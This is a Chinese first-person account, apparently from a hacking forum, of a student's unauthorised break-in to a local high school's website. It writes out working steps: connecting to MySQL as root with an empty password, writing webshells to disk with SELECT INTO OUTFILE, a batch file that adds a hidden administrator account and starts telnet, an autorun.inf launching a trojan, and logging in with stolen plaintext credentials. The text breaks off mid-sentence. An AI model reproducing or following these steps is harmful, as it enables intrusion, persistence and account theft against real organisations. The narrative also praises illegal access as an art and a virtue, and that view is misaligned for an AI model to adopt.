网上有许多文章和帖子都是讲入侵的,但里面所叙述的入侵大多都过于简单,一般就是拿着傻瓜化的工具,输几个字母或按几下鼠标就进去了,难道这就是所谓的入侵么?
不,真正的入侵可没这么简单,不是随便利用一些教程的方法去套就能进去的,入侵是门艺术,要做好这么艺术,需要的是智慧和永不放弃的精神,更需要有精明的头脑,灵活的运用已知的一些信息,入侵可不是三两下子就能完成的,1天,1个星期都有可能,好了,不讲大道理了,来看看俺入侵的经历吧。
一天在上了本地一个重点高中的网站,听说这个学校的计算机很厉害,也是本人心仪以久的中学(没办法,初3了……),但是我习惯性的在一个新闻后面输入:
http://host/home/xwzx/xwzxfile.php?id=53
于是入侵就这样开始了……
1,信息收集与分析:
输入完后出现了下面的字:
Warning: Supplied argument is not a valid MySQL result resource in D:\\wangzhan\\home\\xwzx\\xwzxfile.php on line 191
这一行字真让我欣喜不以,它不仅暴露出了网站的数据库是MYSQL的,还显示出了网站的物理路径。接着我拿出X-WAY扫了它的IP,发现只开了21,445,80,3306端口,很有可能装了防火墙或是端口过滤,扫描了CGI等漏洞,并没有发现什么有价值的漏洞,仔细看看者个网站的模版,并不象是现成的,很有可能是自己编的,仔细分析下来已经有了3个突破口:
1,21端口,FTP IP 21,得到BANNER是Serv-U的FTP服务,好象Serv-U并没有什么可以直接利用远程得到密码漏洞,不过可以暴力破解,是一个安全隐患。
2,80端口,既然页面是可以交互的PHP,接着我注意到下面有个网站管理的入口,管理员并没有把它删掉,看来安全意识不强,很有可能用SQL注射攻入,不过我并会MYSQL注射,不过MSSQL和MYSQL都是SQL我想注射的方法也不会差太多,不过MYSQL没什么权限,但是只要能猜出页面管理员的入口的口令就差不多了,还值得一提的是网站还有个论坛,是紫桐的,版本不清楚,应该可以利用。
3,3306端口,MYSQL服务的端口,很有可能存在弱口令,就算没有也可以用MYSQL暴力破解器来破解密码。
telnet ip 80
get
得到的banner是IIS5.0,看来主机是iis5.0+php+mysql
2,攻击开始:
首先试试成功几率最大的MYSQL吧,下载了一个牛族MYSQL连接器,输入对方IP,密码为空,点“开始连接”。结果非常另人激动,那就是成功的连上去了,看来这所学校不是很重视网络安全,本以为接下来的事会很简单,但事与愿违,我又遇到了更复杂的情况。
有了MYSQL空密码以后的一般思路就是:先建立一个表,接着一行一行把ASP后门的代码写进去,接着导出,这样就变成了WEBSHELL,最后就是提升权限,用牛族连上去后,我就开始实现上面的思路,先在上面的框框里输入:
use mysql;
发送命令
“发送use mysal;成功!”
create table tmp(cmd TEXT)
发送命令
“发送create table tmp(cmd TEXT)成功!”
说明:选择在名叫mysql的库中建一个名叫tmp的表,这个表只有一个字段名叫cmd,数据类型为TEXT
再生成的表中写入内容并导出到系统目录上然后删除键的表
insert into tmp values(\"
\"\" method=\"\"POST\"\">
写好后,再导出放在d:\\wangzhan\\home\\,存为cmd.asp,还有d:\\\\注意啊是双斜杠由于换行的原因必须一行一行的写进去,还有ASP文件里的双引号都要用两个双引号代替.
花了10几分钟终于写好了,访问URL:http://www.%school%.com/home/cmd.asp,却出现了
“505 服务器内部错误”,
看的我一头雾水,仔细想想,莫非服务器不支持ASP?!我没往下想,先想办法再说,因为我已经写入了,我现在又不能删除,如果被管理员发现那个ASP就糟了,于是我再重网上DOWN了一个PHPSHELL,用记事本一打开,代码的长度是CMD.ASP的N倍,如果要一行一行的输入进去的话……于是我找朋友要了一个CMD下的MYSQL连接器,在CMD下输入:
mysql -h ip -uroot
意思是连接远程的MYSQL,并且执行php.sql里的SQL语句,php.sql的代码:
use test;
create table tmp(cmd TEXT);
insert into tmp values(\phpshell每行的代码\)
insert into tmp values(\phpshell每行的代码\)
insert into tmp values(\phpshell每行的代码\)
……
select * from tmp into outfile \D:\\\\wangzhan\\\\wangzhan\\\\cmd2.php\;
drop table tmp;
意思跟上面说的差不多,也是一行一行的输入代码(由于PHP要换行的原因,所以要一行一行输),接着导出,最后删除,只是我编辑php.sql时候用了些小技巧,如果在每行PHPSHELL代码前都添加
insert into tmp values(\和末尾都添加\)
的话,工程量是可想而知的,所以我就用了一个特殊文本编辑器—易优超级字典生成器注册版,
它有一个小功能,在修改字典里,有两个选项,一个是“在每个密码前插入字符串”另一个是
“在每个密码后插入字符串”嘿嘿,聪明的读者应该想到了吧,先把phpshell.php改为phpshell.txt,接着用它编辑,勾选那两个选项,然后分别写上
insert into tmp values(\,(由于一次不能写这么多,所以我就写 tmp values,输出好后,再插入insert into)和\),
(不过首先用记事本打开那个phpshell.txt,把所以的\"改为\"\",然后才能用易优超级字典生成器注册版编辑,因为SQL语句里所有的\"都要用\"\"代替,真是麻烦……)
输出好后,再加上
use test;
select * from tmp into outfile \D:\\\\wangzhan\\\\wangzhan\\\\cmd2.php\;
drop table tmp;
最后改名为php.sql,好了,回到上面,
mysql -h ip -uroot
回车后出现:
error on line 47 \"\\\"……
还有一些,由于当时没截图,就记不清了,反正意思是\"\\\" \"/*\"等等这类的字符无法导入,当时的心情真是·#¥……%,也许这时许多人都会想到放弃,但是黑客的精神就是“永不放弃”啊!~(虽然俺不是黑客:))
3,山穷水尽
于是重新在网上DOWN了一个功能超强的MYSQL管理工具
—EMS MySQL Manager 2
好险是半中文界面,试了几次后,终于把操作方法摸熟了,
大家可以看到,随便进入了一个项,点右键—新建表,然后把表的名字改为love,点下一步,把类型改为TEXT,
最后点“好的”接着右键点LOVE表,数据操作—导入数据—点选导入文本,然后打开phpshell.txt,最后点完成,最后等待了,
完成后,仔细看了表里的内容,确认和phpshell原代码一样后,用牛族MYSQL连接器导出了,用浏览器浏览,还是出现错误,真实郁闷啊,哪位高手知道到底是怎么回事一定要告诉我,小弟不甚感激。
接着我想到了那个BBS,正好MYSQL里有个BBS的项,进入,打开USER的表,第一行就是WEBMASTER,密码是用32位MD5加密的,用MD5解密,纯数字和字典都没成功,看来只好放弃了……
然后我又想到了用autorun.inf和BAT,于是,我再一次打开了牛族MYSQL连接器,输入:
insert into tmp values(\"net user shuangfeng /add\")
发送命令(成功)
insert into tmp values(\"net localgroup administrators shuangfeng /add\")
发送命令(成功)
insert into tmp values(\"net start telnet\")
发送命令(成功)
insert into tmp values(\"del telnet\")
发送命令(成功)
select * from tmp into outfile \"d:\\\\telnet.bat\"
drop table tmp
写完BAT后再写autorun.inf
insert into tmp values(\"[AutoRun]\")
发送命令(成功)
insert into tmp values(\"OPEN= d:\\muma.exe /autorun\")
发送命令(成功)
select * from tmp into outfile \"d:\\\\autorun.inf\"
drop table tmp
把这两个文件C盘,D盘,E盘都放了.
4,绝处逢生
第2天一打开电脑,就在cmd里输入telnet ip,返回的却是:
正在连接到xxx.xxx.xxx.xxx...不能打开到主机的连接, 在端口 23: 连接失败
当时真的很郁闷,又想到了21的FTP,又一个思路冒出来,下载一个serv-u,设置好密码后在把serv-udaemon.ini写进对方主机,最后登陆,不过仔细想想还是不行,因为MYSQL导出的文件不能覆盖其他文件……
不行,我还是不能放弃,我把注意力转移到MYSQL的数据上,仔细搜索,发现一个“wangzhan\"的列,进入后发现USER的表,看到里面有几个帐号,密码是名文保存的,接着我联想到网站上的管理系统,于是马上依照了第一个行的帐号登入,结果证明了我的猜测,我成功的进入了,只有发布新闻,下载等栏目,
并